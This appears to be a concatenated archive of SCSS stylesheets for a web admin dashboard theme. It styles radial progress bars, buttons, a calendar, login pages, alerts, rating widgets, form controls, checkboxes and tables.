.radial-bar-purple.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-50 { background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-55 { background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-60 { background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-65 { background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-70 { background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-75 { background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-80 { background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-85 { background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-90 { background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-95 { background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-100 { background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Inverse -- */ .radial-bar-inverse.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-50 { background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-55 { background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-60 { background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-65 { background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-70 { background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-75 { background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-80 { background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-85 { background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-90 { background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-95 { background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-100 { background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-lg { width: 100px; height: 100px; font-size: 20px; } .radial-bar-lg:after, .radial-bar-lg > img { width: 70px; height: 70px; margin-left: 15px; margin-top: 15px; line-height: 70px; } .radial-bar-sm { width: 50px; height: 50px; font-size: 12px; } .radial-bar-sm:after, .radial-bar-sm > img { width: 35px; height: 35px; margin-left: 7.5px; margin-top: 7.5px; line-height: 35px; } .radial-bar-xs { width: 30px; height: 30px; font-size: 8px; } .radial-bar-xs:after, .radial-bar-xs > img { width: 20px; height: 20px; margin-left: 5.5px; margin-top: 4.5px; line-height: 21px; } .radial-bar { background-clip: content-box; } scss/_buttons.scss000064400000007725151676723140010300 0ustar00.btn { padding: 6px 14px; height: 30px; font-size: 13px; font-weight: 600; @include transition(0.3s ease-in-out); i { margin-right: 5px; } } .btn-icon { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 32px; font-size: 14px; display: inline-block; @include border-radius(50%); @include transition(all .5s ease-in-out); i { margin-right: 0 !important; } } .social-btn { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 30px; color: $white; i { margin: 0; } } .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram { color: $white; } .btn { &-theme { background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%); color: #fff; } &default { background-color: #dae6ec; border-color: #dae6ec; &:focus, &:hover, &:active, &.active { background-color: #dae6ec; border-color: #C2CED4; color: $white !important; } } &-primary { background-color: $primary; border: 1px solid $primary; &:hover, &:focus, &.active { background-color: darken($primary, 5%); border: 1px solid darken($primary, 5%); color: $white !important; } } &-success { background-color: $success; border: 1px solid $success; &:hover, &:focus, &.active { background-color: darken($success, 5%); border: 1px solid darken($success, 5%); color: $white !important; } } &-info { background-color: $info; border: 1px solid $info; &:hover, &:focus, &.active { background-color: darken($info, 5%); border: 1px solid darken($info, 5%); color: $white !important; } } &-warning { background-color: $warning; border: 1px solid $warning; &:hover, &:focus, &.active { background-color: darken($warning, 5%); border: 1px solid darken($warning, 5%); color: $white !important; } } &-danger { background-color: $danger; border: 1px solid $danger; &:focus, &:hover, &.active { background-color: darken($danger, 5%); border: 1px solid darken($danger, 5%); color: $white !important; } } &-inverse { background-color: $inverse; border: 1px solid $inverse; &:hover, &:focus, &.active { background-color: darken($inverse, 5%); border: 1px solid darken($inverse, 5%); color: $white !important; } } &-purple { background-color: $purple; border: 1px solid $purple; &:hover, &:focus, &.active { background-color: darken($purple, 5%); border: 1px solid darken($purple, 5%); color: $white !important; } } &-pink { background-color: $pink; border: 1px solid $pink; &:hover, &:focus, &.active { background-color: darken($pink, 5%); border: 1px solid darken($pink, 5%); color: $white !important; } } &-facebook { background: $facebook; } &-twitter { background: $twitter; } &-dribbble { background: $dribbble; } &-linkedin { background: $linkedin; } &-google { background: $google; } &-instagram { background: $instagram; } } .template-demo { .btn { margin-right: 10px; margin-bottom: 10px; } } .btn-group { .btn { margin: 0; } }scss/_calendar.scss000064400000005236151676723140010346 0ustar00.fc { .fc-toolbar { .fc-button { background: #4a5361; color: #fff; padding: 5px 10px; height: auto; border: none; text-transform: capitalize; text-shadow: none; @include box-shadow(none); .fc-icon { margin: 0; top: 0; @include pseudo-element('after') { font-family: "iconkit"; font-size: 16px; } &.fc-icon-left-single-arrow { @include pseudo-element('after') { content: "\e843"; } } &.fc-icon-right-single-arrow { @include pseudo-element('after') { content: "\e844"; } } } &.fc-state-active, &.fc-state-down { background: #272d36 !important; } } h2 { font-size: 22px; font-weight: 600; } } .fc-view-container { .fc-view { table { thead { tr { td, th { &.fc-widget-header { color: #4a5361; background: #f3f4f4; border-color: #f3f4f4; padding: 10px 0px; } } } } } .fc-day-number { float: left; padding: 10px 0 5px 10px; } .fc-other-month { background: #f3f9ff; } .fc-event-container { .fc-event { display: block; padding: 3px 5px; color: $white; font-weight: 600; font-size: 12px; border: none; } } } } } .fc-unthemed { .fc-content, .fc-divider, .fc-list-heading, .fc-list-view, .fc-popover, .fc-row, tbody, td, thead { border-color: #f3f4f4; } } .color-selector { padding: 0; margin: 0; list-style: none; li { position: relative; display: inline-block; width: 25px; height: 25px; margin: 0 8px 8px 0; background-color: #3e8ef7; @include border-radius(50%); input[type=radio] { position: absolute; top: 0; left: 0; z-index: 1; width: inherit; height: inherit; cursor: pointer; border-radius: inherit; opacity: 0; &:checked + label { @include pseudo-element('after') { position: absolute; top: 0px; left: 5px; display: inline-block; margin-top: -3px; font-size: 16px; line-height: 1; content: "\e83f"; color: #fff; } } } label { position: relative; margin-bottom: .4rem; font-family: "iconkit"; font-style: normal; font-weight: 400; font-variant: normal; text-transform: none; } &:last-child { margin-right: 0; } } }scss/_auth.scss000064400000002031151676723140007524 0ustar00.auth-wrapper { .lavalite-bg { height: 100vh; position: relative; width: 100%; -webkit-background-size: cover; background-size: cover; background-repeat: no-repeat; .lavalite-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: linear-gradient(135deg,rgba(46,52,81,.4) 0%,rgba(52,40,104,.95) 100%); } } .authentication-form { font-size: .9rem; width: 70%; display: block; padding: 100px 0; .logo-centered { width: 60px; margin: 0 auto; margin-bottom: 40px; } h3 { font-size: 20px; color: #272d36; margin-bottom: 20px; } .form-group { position: relative; .form-control { padding-left: 40px; & ~ i { position: absolute; top: 10px; left: 15px; } } } .sign-btn { margin-top: 30px; } .register { margin-top: 30px; text-align: center; } } }scss/_alert.scss000064400000000764151676723140007705 0ustar00.alert { border: none; .close { font-size: 18px; padding: 12px 15px; } } .jq-icon-info { background-color: $info; color: $white; border: none; } .jq-icon-warning { background-color: $warning; color: $white; } .jq-icon-error { background-color: $danger; color: $white; } .jq-icon-success { color: $white; background-color: $success; } .jq-toast-single, .jq-toast-single h2 { font-family: 'Nunito Sans', sans-serif; }scss/_rating.scss000064400000004271151676723140010057 0ustar00.br-wrapper { margin: 20px 0 50px; } .br-theme-bars-1to10 .br-widget .br-current-rating { clear: both; padding: 0; font-size: 13px; color: #757575; font-weight: 400; } .br-theme-bars-reversed .br-widget .br-current-rating { clear: both; padding: 0; line-height: 2; font-size: 13px; } .br-theme-bars-movie .br-widget .br-current-rating { color: #757575; font-weight: 400; text-align: left; } .br-theme-bars-horizontal, .br-theme-bars-reversed { .br-widget .br-current-rating { color: #757575; font-weight: 400; font-size: 13px; } } span.value { display: inline; } .current-rating { position: relative; top: -50px; &.hidden { display: none; } } .your-rating { position: relative; top: -50px; &.hidden { display: none; } } .br-theme-bars-1to10, .br-theme-bars-movie, .br-theme-bars-reversed, .br-theme-bars-horizontal { .br-widget a { background-color: lighten($primary, 20%); &.br-active, &.br-selected { background-color: $primary; } } } .br-theme-bars-pill { .br-widget a { background-color: lighten($primary, 20%); color: $primary; &.br-active, &.br-selected { background-color: $primary; } } } .br-theme-fontawesome-stars { .br-widget { a.br-active:after, a.br-selected:after { color: $primary; } } } .br-theme-css-stars { .br-widget { a.br-active:after, a.br-selected:after { color: $primary; } } } .br-theme-bars-square { .br-widget a { border: 2px solid lighten($primary, 20%); color: lighten($primary, 8%); &.br-active, &.br-selected { border: 2px solid $primary; color: $primary; } } } .br-theme-fontawesome-stars-o { .br-widget { a.br-selected:after, a:after, a.br-active:after, a.br-fractional:after { color: $primary; } } } scss/_forms.scss000064400000056205151676723140007725 0ustar00.form-group { margin-bottom: 1.25em; .form-control-lg { font-size: 1.25em; } .form-control-round { border-radius: 50px; } .form-control-static { &:focus { outline: none; } } } .form-control { height: auto; min-height: 35px; border: 1px solid #eaeaea; padding: 0 10px; background-color: #fff; font-size: 13px; @include border-radius(4px); @include input-placeholder { color: #999999; } &:focus { border-color: #e2dfdf; -webkit-box-shadow: none; box-shadow: none; } &.form-control-normal { font-weight: 400; } &.form-control-bold { font-weight: 700; } &.form-control-capitalize { text-transform: capitalize; } &.form-control-uppercase { text-transform: uppercase; } &.form-control-lowercase { text-transform: lowercase; } &.form-control-variant { font-variant: small-caps; } &.form-control-left { text-align: left; } &.form-control-center { text-align: center; } &.form-control-right { text-align: right; } &.form-control-rtl { direction: rtl; } &:disabled { cursor: not-allowed; opacity: 0.5; } } select.form-control { -webkit-appearance: none; -moz-appearance: none; appearance: none; padding-right: 20px; background-image: url('../img/down-arrow.svg'); background-position: center right 15px; background-repeat: no-repeat; -webkit-background-size: 10px; background-size: 10px; height: 35px !important; } textarea.form-control { padding: 10px 15px; @include border-radius(4px); } .custom-radio { .custom-control-label { line-height: 24px; } } .custom-checkbox { .custom-control-label { line-height: 24px; } .custom-control-input { &:checked { &~.custom-control-label { &::after { background-image: none; content: "\e83f"; line-height: 16px; font-family: 'iconkit'; color: #fff; } } } } } .custom-control-label { text-align: center; } .input-group { .input-group-prepend { .input-group-text { border-top-left-radius: 4px; border-bottom-left-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-left: 15px; height: 35px; font-size: 14px; } .btn { height: 35px; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } } .input-group-append { .input-group-text { border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-right: 15px; height: 35px; font-size: 14px; } .btn { height: 35px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; } } } .form-group { .file-upload-default { visibility: hidden; position: absolute; } .file-upload-info { background: $empty; } } .select2 { &.select2-container--default { .select2-selection--single { border-color: #eaeaea; height: 35px; @include border-radius(4px); .select2-selection__rendered { line-height: 35px; padding-left: 15px; padding-right: 30px; } .select2-selection__arrow { height: 33px; right: 8px; } } .select2-selection--multiple { border-color: #eaeaea; .select2-selection__rendered { margin-top: 1px; .select2-selection__choice { border: none; padding: 1px 5px; } } } &.select2-container--focus { .select2-selection--multiple { border-color: #8e8e8e; } } &.select2-container--open { &.select2-container--below { .select2-selection--single, .select2-selection--multiple { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } } } } &.select2-container { .select2-selection--multiple { min-height: 35px; } } } .select2-container--default { .select2-dropdown { background-color: $white; border: none; @include border-radius(6px); @include box-shadow(0 2px 30px rgba(0,0,0,.08)); .select2-search--dropdown { padding: 5px; .select2-search__field { height: 30px; border: none; background-color: #eaeaea; padding: 5px 10px; @include border-radius(4px); } } .select2-results { .select2-results__options { padding: 5px; } } } } .select2-results__option { background-color: #fff; padding: 8px 15px; border-radius: 4px; line-height: 14px; } .bootstrap-datetimepicker-widget { .table { thead { background-color: $empty; tr { th { color: $dark; @include border-radius(6px); } } } tr { td, th { text-align: center; width: 35px; height: 35px; border-radius: 50%; border: none; line-height: 35px; position: relative; z-index: 1; } td { &.today, &.active { color: $white; position: relative; z-index: 1; background-color: transparent; text-shadow: none; @include pseudo-element('before') { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: #4a5361; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; @include transform(scale(1)); } } &.active:hover { @include pseudo-element('before') { background-color: #4a5361 !important; } } &.today { @include pseudo-element('before') { background-color: $theme; } } &.day, &.hour, &.minute, &.second { &:hover { background-color: transparent; } } @include pseudo-element('before') { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: transparent; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; @include transform(scale(0)); @include transition(0.3s ease-in-out); } &:hover { @include pseudo-element('before') { background-color: #f4f4f4; @include transform(scale(1)); } } } } } .timepicker { table { td { position: relative; z-index: 1; width: 35px; height: 35px; line-height: 35px; .btn { height: auto; } span { width: 35px; height: 35px; line-height: 35px; } } } } &.dropdown-menu { min-width: 280px; &.bottom { @include pseudo-element('before') { border-bottom-color: #fff; } } &.top { @include pseudo-element('before') { border-top-color: #fff; } } .datepicker { table { tr { th, td { width: 30px; height: 30px; line-height: 30px; } td { @include pseudo-element('before') { top: 4px; left: 0px; } &.today, &.active { @include pseudo-element('before') { top: 4px; left: 0px; } } } } } } } } .bootstrap-tagsinput { display: block; border: 1px solid #eaeaea; min-height: 35px; padding: 0px 10px; padding-top: 4px; @include box-shadow(none); .tag { padding: 1px 5px; margin-right: 2px; margin-bottom: 4px; display: inline-block; text-transform: capitalize; @include border-radius(4px); background-color: $inverse; } } .note-editor.note-frame.card { @include box-shadow(none); } .input-group { margin-bottom: 1.25em; } $form-border-state: primary, warning, default, danger, success, inverse, info; $form-border-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $form-border-state { $i: index($form-border-state, $var); .form-control-#{$var} { border-color: nth($form-border-color, $i); color: nth($form-border-color, $i); &:focus { border-color: nth($form-border-color, $i); } } .input-group-#{$var} { .input-group-append, .input-group-prepend { .input-group-text { background-color: nth($form-border-color, $i); border-color: nth($form-border-color, $i); color: $white; } } .form-control { border-color: nth($form-border-color, $i); } } } $form-txt-state: primary, warning, default, danger, success, inverse, info; $form-txt-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $form-txt-state { $i: index($form-txt-state, $var); .form-txt-#{$var} { color: nth($form-txt-color, $i); &:focus { color: nth($form-txt-color, $i); } &::-moz-placeholder { color: nth($form-txt-color, $i); opacity: 1; } &:-ms-input-placeholder { color: nth($form-txt-color, $i); } &::-webkit-input-placeholder { color: nth($form-txt-color, $i); } } } $form-bg-state: primary, warning, default, danger, success, inverse, info; $form-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $form-bg-state { $i: index($form-bg-state, $var); .form-bg-#{$var} { background-color: nth($form-bg-color, $i); border-color: nth($form-bg-color, $i); color: #fff; &:focus { background-color: nth($form-bg-color, $i); border-color: nth($form-bg-color, $i); color: #fff; } &::-moz-placeholder { color: #fff; opacity: 1; } &:-ms-input-placeholder { color: #fff; } &::-webkit-input-placeholder { color: #fff; } } } .form-radio { position: relative; .form-help { position: absolute; width: 100%; } label { position: relative; padding-left: 1.5rem; text-align: left; color: #333; display: block; line-height: 1.8; } input { width: auto; opacity: 0.00000001; position: absolute; left: 0; } } .radio { .helper { position: absolute; top: -0.25rem; left: -0.25rem; cursor: pointer; display: block; font-size: 1rem; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; color: #999; &::after { transform: scale(0); background-color: $primary; border-color: $primary; } &::after, &::before { content: ''; position: absolute; left: 0; top: 3px; margin: 0.25rem; width: 1rem; height: 1rem; -webkit-transition: -webkit-transform 0.28s ease; transition: -webkit-transform 0.28s ease; transition: transform 0.28s ease, -webkit-transform 0.28s ease; border-radius: 50%; border: 0.125rem solid $primary; } } label:hover .helper { color: $primary; } input { &:checked ~ .helper::after { transform: scale(0.5); } &:checked ~ .helper::before { color: $primary; animation: ripple 0.3s linear forwards; } } &.radiofill { input:checked ~ .helper::after { transform: scale(1); } .helper::after { background-color: $primary; } } &.radio-outline { input:checked ~ .helper::after { transform: scale(0.6); } .helper::after { background-color: #fff; border: 0.225rem solid $primary; } } &.radio-matrial { input ~ .helper::after { background-color: #fff; } input:checked ~ .helper::after { transform: scale(0.5); box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72); } input:checked ~ .helper::before { background-color: $primary; } } &.radio-disable { label { cursor: not-allowed; } opacity: 0.7; } } .radio-inline { display: inline-block; margin-right: 20px; } $radio-bg-state: primary, warning, default, danger, success, inverse, info; $radio-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $radio-bg-state { $i: index($radio-bg-state, $var); .radio { &.radio-#{$var} { .helper::after { background-color: nth($radio-bg-color, $i); border-color: nth($radio-bg-color, $i); } .helper::before { border-color: nth($radio-bg-color, $i); } } &.radio-outline { &.radio-#{$var} { .helper::after { background-color: #fff; border: 0.225rem solid nth($radio-bg-color, $i); } .helper::before { border-color: nth($radio-bg-color, $i); } } } &.radio-matrial { &.radio-#{$var} { input ~ .helper::after { background-color: #fff; border-color: #fff; } input ~ .helper::before { background-color: nth($radio-bg-color, $i); border-color: nth($radio-bg-color, $i); } } } } } @keyframes ripple { 0% { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.0); } 50% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05); } 100% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0); } } .border-checkbox-section { .border-checkbox-group { display: inline-block; .border-checkbox:checked + .border-checkbox-label:before { animation: ripple 0.3s linear forwards; } .border-checkbox:checked + .border-checkbox-label:after { -webkit-animation: check linear 0.5s; animation: check linear 0.5s; opacity: 1; border-color: $primary; .border-checkbox-label { &:before { border-color: #eee; } } } .border-checkbox-label { position: relative; display: inline-block; cursor: pointer; height: 20px; line-height: 20px; padding-left: 30px; margin-right: 15px; &:after { content: ""; display: block; width: 6px; height: 12px; opacity: 0.9; border-right: 2px solid #eee; border-top: 2px solid #eee; position: absolute; left: 4px; top: 11px; -webkit-transform: scaleX(-1) rotate(135deg); transform: scaleX(-1) rotate(135deg); -webkit-transform-origin: left top; transform-origin: left top; } &:before { content: ""; display: block; border: 2px solid $primary; width: 20px; height: 20px; position: absolute; left: 0; } } } .border-checkbox { display: none; &:disabled { ~ .border-checkbox-label { cursor: no-drop; color: #ccc; } } } } @include theme-keyframes(check) { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } $border-checkbox-bg-state: primary, warning, default, danger, success, inverse, info; $border-checkbox-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $border-checkbox-bg-state { $i: index($border-checkbox-bg-state, $var); .border-checkbox-section .border-checkbox-group-#{$var} { .border-checkbox-label:before { border: 2px solid nth($border-checkbox-bg-color, $i); } .border-checkbox:checked + .border-checkbox-label:after { border-color: nth($border-checkbox-bg-color, $i); } } } .checkbox-fade, .checkbox-zoom { display: inline-block; margin-right: 15px; label { line-height: 20px; input[type="checkbox"], input[type="radio"] { display: none; &:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } } &:after { content: ''; display: table; clear: both; } } &.fade-in-disable { .cr, label { color: #ccc; cursor: no-drop; } } .cr { border-radius: 0; border: 2px solid $primary; cursor: pointer; display: inline-block; float: left; height: 20px; margin-right: 1rem; position: relative; width: 20px; .cr-icon { color: $primary; font-size: 1em; left: 0; line-height: 0; position: absolute; right: 0; text-align: center; top: 50%; } } input[type="checkbox"]:checked { + .cr { animation: ripple 0.3s linear forwards; } } } .checkbox-fade { label { line-height: 20px; input[type="checkbox"], input[type="radio"] { display: none; &:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } } } } .checkbox-zoom { label { line-height: 20px; input[type="checkbox"], input[type="radio"] { display: none; &:checked + .cr > .cr-icon { transform: scale3d(1, 1, 1) translate3d(0, 0, 0); opacity: 1; } + .cr > .cr-icon { transform: scale3d(0.2, 0.2, .1) translate3d(0, 0, 0); opacity: 0; transition: all 0.3s ease-in; } } } } $fade-in-checkbox-bg-state: primary, warning, default, danger, success, inverse, info; $fade-in-checkbox-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $fade-in-checkbox-bg-state { $i: index($fade-in-checkbox-bg-state, $var); .checkbox-fade, .checkbox-zoom { &.fade-in-#{$var}, &.zoom-#{$var} { .cr { border: 2px solid nth($fade-in-checkbox-bg-color, $i); .cr-icon { color: nth($fade-in-checkbox-bg-color, $i); } } } } } .checkbox-color { display: inline-block; margin-right: 20px; cursor: pointer; label { display: inline-block; position: relative; padding-left: 10px; line-height: 20px; &::before { content: ""; display: inline-block; position: absolute; top: 0; width: 20px; height: 20px; left: 0; right: 0; text-align: center; margin-left: -20px; border: 1px solid #ccc; border-radius: 0; background-color: #fff; transition: border 0.15s ease-in-out, color 0.15s ease-in-out; } &::after { display: inline-block; position: absolute; width: 16px; height: 16px; left: -1px; top: 0; margin-left: -17px; padding-left: 3px; padding-top: 1px; font-size: 11px; color: #fff; } } input[type="checkbox"] { opacity: 0; &:focus + label::before { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } &:checked + label::after { font-family: 'FontAwesome'; content: "\f00c"; } &:checked + label::before { animation: ripple 0.3s linear forwards; } &:disabled + label { opacity: 0.65; &::before { background-color: #eee; cursor: not-allowed; } } } &.checkbox-circle label::before { border-radius: 50%; } &.checkbox-inline { margin-top: 0; } } .checkbox-danger, .checkbox-info, .checkbox-primary, .checkbox-success, .checkbox-warning { input[type="checkbox"]:checked + label::after { color: #fff; } } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #2196f3; border-color: #2196f3; } $background-checkbox-bg-state: primary, warning, default, danger, success, inverse, info; $background-checkbox-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info; @each $var in $background-checkbox-bg-state { $i: index($background-checkbox-bg-state, $var); .checkbox-#{$var} input[type="checkbox"]:checked + label::before { background-color: nth($background-checkbox-bg-color, $i); } }scss/_tables.scss000064400000003275151676723140010050 0ustar00.card { .card-body { .dataTables_wrapper { .dataTables_scroll { margin-left: -20px; width: calc(100% + 40px); .dataTable { margin-left: 0px; width: 100%; } } .dataTable { margin-left: -20px; width: calc(100% + 40px); } .form-control { border: none; min-height: 30px; background-color: #f4f4f4; } select.form-control { height: 30px !important; } .dataTables_paginate { .pagination { .page-item { .page-link { margin-left: 5px; min-width: 30px; height: 30px; padding: 0; text-align: center; line-height: 30px; border: none; background-color: #f4f4f4; color: #212121; @include border-radius(30px); } &.previous, &.next, &.first, &.last { .page-link { padding: 0 15px; } } &.disabled { .page-link { color: #6c757d; background-color: #f4f4f4; cursor: not-allowed; } } } } } } } .card-table { .card-item { border-top: 1px solid #ededed; } } } .table { thead { background-color: #f6f8fb; th { font-weight: 600; color: #879099; font-size: 14px; } } tbody { td { vertical-align: middle; .table-user-thumb { width: 30px; height: 30px; border-radius: 50%; } .table-actions { text-align: right; a { color: #bcc1c6; display: inline-block; margin-left: 8px; font-size: 16px; } } } } }scss/_settings.scss000064400000024455151676723140010441 0ustar00 html { font-family: sans-serif; /* 1 */ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background-color: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } strong { font-weight: bold; } dfn { font-style: italic; } h1 { font-size: 2em; margin: 0.67em 0; } mark { background: #ff0; color: #000; } small { font-size: 80%; } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } img { border: 0; } 